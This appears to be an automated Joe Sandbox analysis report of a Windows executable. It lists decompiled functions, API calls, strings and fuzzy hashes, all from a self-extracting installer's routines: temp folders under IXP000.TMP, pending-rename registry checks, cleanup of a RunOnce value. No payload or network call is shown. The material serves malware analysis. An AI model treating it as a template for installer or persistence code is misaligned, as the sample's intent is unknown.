0x00a453bf
0x00a453d1
0x00a453d6
0x00a453e0
0x00a453e2
0x00a453f5
0x00a453fb
0x00a45402
0x00a4540b
0x00000000
0x00000000
0x00a45413
0x00000000
0x00000000
0x00a45415
0x00a45416
0x00a45427
0x00a4542a
0x00a4542b
0x00a45434
0x00a45434
0x00a4543a
0x00a4544c
0x00a4544c
0x00a45452
0x00a4545a
0x00000000
0x00000000
0x00a4545e
0x00a4545f
0x00000000

APIs

Part of subcall function 00A4171E: _vsnprintf.MSVCRT ref: 00A41750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A453FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A45402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A45434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A45452

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A453B7, 00A453E1, 00A4541E
IXP, xrefs: 00A45419
IXP%03d.TMP, xrefs: 00A453C0

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-3862032828
Opcode ID: c5740d479d061de3a84f4e50ad29af358743f4423dc5ab0cd1a971faa335cfa9
Instruction ID: 681facc2eea4b819e2ad3ae8855d4498ffff74cddc18d44055931952e8d06d05
Opcode Fuzzy Hash: c5740d479d061de3a84f4e50ad29af358743f4423dc5ab0cd1a971faa335cfa9
Instruction Fuzzy Hash: EA11017DB4050467E320EBB69C49FAF766EEFD3312F000125F646D6291CE75898386A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00A4256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E00A424E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x00a42572
0x00a42573
0x00a42575
0x00a42578
0x00a4257d
0x00a42627
0x00a42583
0x00a42586
0x00a42589
0x00a425eb
0x00a42607
0x00000000
0x00a42609
0x00a4261a
0x00000000
0x00a4261a
0x00000000
0x00a4258b
0x00a4258b
0x00a4259e
0x00a425b2
0x00a425ba
0x00a425cb
0x00a425d1
0x00a425d6
0x00a425da
0x00a425dd
0x00a425dd
0x00a425e3
0x00a425e3
0x00a425e3
0x00a4258b
0x00a42589
0x00a4262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00A44096,00A44096,?,00A41ED3,00000001,00000000,?,?,00A44137,?), ref: 00A425B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00A44096,?,00A41ED3,00000001,00000000,?,?,00A44137,?,00A44096), ref: 00A425CB
RegCloseKey.KERNELBASE(?,?,00A41ED3,00000001,00000000,?,?,00A44137,?,00A44096), ref: 00A425DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00A44096,00A44096,?,00A41ED3,00000001,00000000,?,?,00A44137,?), ref: 00A425FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00A44096,00000000,00000000,00000000,00000000,?,00A41ED3,00000001,00000000), ref: 00A4261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00A425F5
PendingFileRenameOperations, xrefs: 00A425C3
System\CurrentControlSet\Control\Session Manager, xrefs: 00A425A8

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: f4ad9303a4fdb93f2159785282e938d2885b684862037b257d46b75534d42ce0
Instruction ID: 780b93538df1ed17f3c24346977bc19c62c3398b3e818c78894aa7505722f6a2
Opcode Fuzzy Hash: f4ad9303a4fdb93f2159785282e938d2885b684862037b257d46b75534d42ce0
Instruction Fuzzy Hash: D311823D942228BBAB20DB91AC09EFFBE7CEFD27A1F504055B809A2000D7354E45E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00A46A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E00A47155();
				_push(0x58);
				_push(0xa472b8);
				E00A47208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0xa488b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0xa488b0; // 0x2
						if(__eflags != 0) {
							 *0xa481e4 = _t58;
							goto L13;
						} else {
							 *0xa488b0 = _t58;
							_t37 = E00A46C3F(0xa410b8, 0xa410c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L00A46FF4();
						L13:
						_t68 =  *0xa488b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0xa410b4);
							_push(0xa410ac);
							L00A47202();
							 *0xa488b0 = 2;
						}
						if(_t53 == 0) {
							 *0xa488ac = 0;
						}
						_t71 =  *0xa488b4;
						if( *0xa488b4 != 0 && E00A47060(_t71, 0xa488b4) != 0) {
							_t60 =  *0xa488b4; // 0x0
							 *0xa4a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x74895b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E00A42BFB(0xa40000, 0, _t59); // executed
							 *0xa481e0 = _t30;
							__eflags =  *0xa481f8;
							if( *0xa481f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0xa481e4;
							if( *0xa481e4 == 0) {
								__imp___cexit();
								_t30 =  *0xa481e0; // 0x80070002
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E00A4724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x00a46a60
0x00a46a6a
0x00a46a6c
0x00a46a71
0x00a46a78
0x00a46a7f
0x00a46a85
0x00a46a8e
0x00a46a91
0x00a46a93
0x00a46a9c
0x00a46aa2
0x00000000
0x00000000
0x00a46aa6
0x00a46ab4
0x00000000
0x00a46aa8
0x00a46aaa
0x00a46aab
0x00a46aab
0x00a46abf
0x00a46abf
0x00a46ac5
0x00a46ad1
0x00a46ad7
0x00a46b05
0x00000000
0x00a46ad9
0x00a46ad9
0x00a46ae9
0x00a46af0
0x00a46af2
0x00000000
0x00a46af4
0x00a46af4
0x00a46afb
0x00a46afb
0x00a46af2
0x00a46ac7
0x00a46ac7
0x00a46ac9
0x00a46b0b
0x00a46b0b
0x00a46b11
0x00a46b13
0x00a46b18
0x00a46b1d
0x00a46b24
0x00a46b24
0x00a46b30
0x00a46b39
0x00a46b39
0x00a46b3b
0x00a46b42
0x00a46b57
0x00a46b5f
0x00a46b65
0x00a46b65
0x00a46b67
0x00a46b6c
0x00a46b6e
0x00a46b71
0x00a46b74
0x00a46b74
0x00a46b79
0x00000000
0x00000000
0x00a46b7d
0x00a46b81
0x00000000
0x00000000
0x00a46b83
0x00a46b8c
0x00a46b8d
0x00a46b90
0x00a46b90
0x00a46b83
0x00a46b81
0x00a46b94
0x00a46b98
0x00a46ba2
0x00a46b9a
0x00a46b9a
0x00a46b9a
0x00a46ba3
0x00a46bab
0x00a46bb0
0x00a46bb5
0x00a46bbc
0x00a46bbf
0x00000000
0x00a46bbf
0x00a46c1e
0x00a46c25
0x00a46c27
0x00a46c2d
0x00a46c2d
0x00a46c32
0x00000000
0x00a46bc5
0x00a46bc5
0x00a46bc8
0x00a46bcc
0x00a46bce
0x00a46bce
0x00a46bd1
0x00a46bd3
0x00a46bd3
0x00a46bd6
0x00a46bda
0x00a46be1
0x00a46be3
0x00a46be5
0x00a46be5
0x00a46be6
0x00a46be6
0x00a46be9
0x00a46bea
0x00a46bea
0x00a46b74
0x00a46c39
0x00a46c3e
0x00a46c3e
0x00a46abe
0x00a46abe
0x00000000

APIs

Part of subcall function 00A47155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00A47182
Part of subcall function 00A47155: GetCurrentProcessId.KERNEL32 ref: 00A47191
Part of subcall function 00A47155: GetCurrentThreadId.KERNEL32 ref: 00A4719A
Part of subcall function 00A47155: GetTickCount.KERNEL32 ref: 00A471A3
Part of subcall function 00A47155: QueryPerformanceCounter.KERNEL32(?), ref: 00A471B8

GetStartupInfoW.KERNEL32(?,00A472B8,00000058), ref: 00A46A7F
Sleep.KERNEL32(000003E8), ref: 00A46AB4
_amsg_exit.MSVCRT ref: 00A46AC9
_initterm.MSVCRT ref: 00A46B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00A46B49
exit.KERNELBASE ref: 00A46BBF
_ismbblead.MSVCRT ref: 00A46BDA

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 9d24c3af2b3bbc10d546e06cf3ad22c840cc12e1dcc2681a7787c88fa1aac453
Instruction ID: ce2298991f9dd4cc84ff9c46430577386d4204e3cfded66b8ec562cde978d14d
Opcode Fuzzy Hash: 9d24c3af2b3bbc10d546e06cf3ad22c840cc12e1dcc2681a7787c88fa1aac453
Instruction Fuzzy Hash: 0E41E43C984764DBDB21EBA8E9447AE77B0FBC7751F14412AF941E3290CBB548838B42

Uniqueness

Uniqueness Score: -1.00%

Function 00A458C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00A458C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E00A41680(_t20, _t36, _t33);
					E00A4658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0xa49124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E00A444B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0xa49124 = E00A46285();
					_t14 = 0;
				}
				return _t14;
			}

0x00a458cd
0x00a458d1
0x00a458d3
0x00a458d5
0x00a458d8
0x00a458d8
0x00a458da
0x00a458db
0x00a458e1
0x00a458ed
0x00a458f1
0x00a4591e
0x00a4592c
0x00a45943
0x00a4594a
0x00a4594d
0x00a45953
0x00a45959
0x00000000
0x00a4595b
0x00a4595c
0x00a45963
0x00a4596c
0x00000000
0x00a45972
0x00a45974
0x00a4597a
0x00a4597a
0x00a4596c
0x00a458f3
0x00a45901
0x00a45906
0x00a4590b
0x00a45910
0x00a45910
0x00a45918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00A45534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A458E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00A45534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A45943
LocalFree.KERNEL32(00000000,?,00A45534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4594D
CloseHandle.KERNEL32(00000000,?,00A45534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00A45534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A45963

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A458CD, 00A458CF, 00A45919, 00A45962
TMP4351$.TMP, xrefs: 00A45923

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-2139698323
Opcode ID: cf9faeb222b544b3d5fe1486e88ffd3103a27d4cf9e33eef73b1bacce9c2c10d
Instruction ID: c2d1cbd335625dfa0a6fa541104f023b8f5e1c221021f92cec266beb4e62943b
Opcode Fuzzy Hash: cf9faeb222b544b3d5fe1486e88ffd3103a27d4cf9e33eef73b1bacce9c2c10d
Instruction Fuzzy Hash: 9111E27DA002106BD7249FF9AC4DB9B7E99EFC6760B100619B50AE3192CB71980686A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A451E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A451E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E00A4468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E00A4468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E00A444B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0xa49124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0xa49124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E00A444B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0xa49124 = 0x80070714;
					goto L10;
				}
				E00A444B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xa49124 = E00A46285();
				goto L10;
			}

0x00a451fb
0x00a45207
0x00a4520b
0x00a4523c
0x00a45268
0x00a45270
0x00a4528b
0x00a45293
0x00a4529c
0x00a452a6
0x00a452b0
0x00000000
0x00a452b0
0x00a4529e
0x00a45279
0x00000000
0x00a4527b
0x00a45273
0x00000000
0x00a45273
0x00a4524a
0x00a45250
0x00a45256
0x00000000
0x00a45256
0x00a45219
0x00a45223
0x00000000

APIs

Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
Part of subcall function 00A4468F: SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
Part of subcall function 00A4468F: LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
Part of subcall function 00A4468F: LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
Part of subcall function 00A4468F: memcpy_s.MSVCRT ref: 00A446E5
Part of subcall function 00A4468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00A42F4D,?,00000002,00000000), ref: 00A45201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00A45250

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Part of subcall function 00A46285: GetLastError.KERNEL32(00A45BBC), ref: 00A46285

Strings

<None>, xrefs: 00A45262
UPROMPT, xrefs: 00A451EF, 00A45230

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 19ce20d04ed375f89bbcb16b2738079ca9477156c76c2a9ccd5fa999489dda2f
Instruction ID: 0c4a43fc79eab3a083db93130b0af847c18232d6a24f7d87726431f6bd19d3f2
Opcode Fuzzy Hash: 19ce20d04ed375f89bbcb16b2738079ca9477156c76c2a9ccd5fa999489dda2f
Instruction Fuzzy Hash: F11104BDA41601BBE354ABF55D49F7B61ADEBDA381F10442EF602E6192DBFA8C024124

Uniqueness

Uniqueness Score: -1.00%

Function 00A452B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00A452B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0xa48004; // 0x173b1603
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0xa491e0; // 0x2ec8390
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0xa48a24 == 0 &&  *0xa49a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0xa48a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0xa48a24 == 0 &&  *0xa49a30 == 0) {
					_push(_t22);
					E00A41781( &_v268, 0x104, _t22, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
					if(( *0xa49a34 & 0x00000020) != 0) {
						E00A465E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E00A42390( &_v268);
					_t11 =  *0xa48a20; // 0x0
				}
				if( *0xa49a40 != 1 && _t11 != 0) {
					_t11 = E00A41FE1(_t22); // executed
				}
				 *0xa48a20 =  *0xa48a20 & 0x00000000;
				return E00A46CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x00a452b6
0x00a452b6
0x00a452b6
0x00a452c1
0x00a452c8
0x00a452cb
0x00a452cc
0x00a452d4
0x00a452d6
0x00a452d7
0x00a452de
0x00a452e0
0x00a452f2
0x00a452fa
0x00a452fa
0x00a45302
0x00a45305
0x00a4530c
0x00a45312
0x00a45316
0x00a45316
0x00a45317
0x00a4531c
0x00a4531f
0x00a45333
0x00a45345
0x00a45351
0x00a45359
0x00a45359
0x00a45363
0x00a45369
0x00a4536f
0x00a45374
0x00a45374
0x00a45381
0x00a45387
0x00a45387
0x00a4538f
0x00a453a0

APIs

SetFileAttributesA.KERNELBASE(02EC8390,00000080,?,00000000), ref: 00A452F2
DeleteFileA.KERNELBASE(02EC8390), ref: 00A452FA
LocalFree.KERNEL32(02EC8390,?,00000000), ref: 00A45305
LocalFree.KERNEL32(02EC8390), ref: 00A4530C
SetCurrentDirectoryA.KERNELBASE(00A411FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00A45363

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A45334

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-2312194364
Opcode ID: 317fd7bfce6a3e05abf32eab5a8038cedd96c90d82f65ac091dab409a2143d84
Instruction ID: e687417a7ca743933a02b1587c4ffc75fabe7e4d6ba4b7acd80248879a829bf0
Opcode Fuzzy Hash: 317fd7bfce6a3e05abf32eab5a8038cedd96c90d82f65ac091dab409a2143d84
Instruction Fuzzy Hash: A721F33D900604DBCB70EFA4ED19B6A37B4BBD2784F040129E4425A6A1CFF66C86CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00A41FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A41FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0xa48530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup0"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x00a41fee
0x00a42005
0x00a4200d
0x00a42017
0x00000000
0x00a42020
0x00a4200d
0x00a42029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,00A4538C,?,?,00A4538C), ref: 00A42005
RegDeleteValueA.KERNELBASE(00A4538C,wextract_cleanup0,?,?,00A4538C), ref: 00A42017
RegCloseKey.ADVAPI32(00A4538C,?,?,00A4538C), ref: 00A42020

Strings

wextract_cleanup0, xrefs: 00A41FE7, 00A4200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00A41FFB

Memory Dump Source

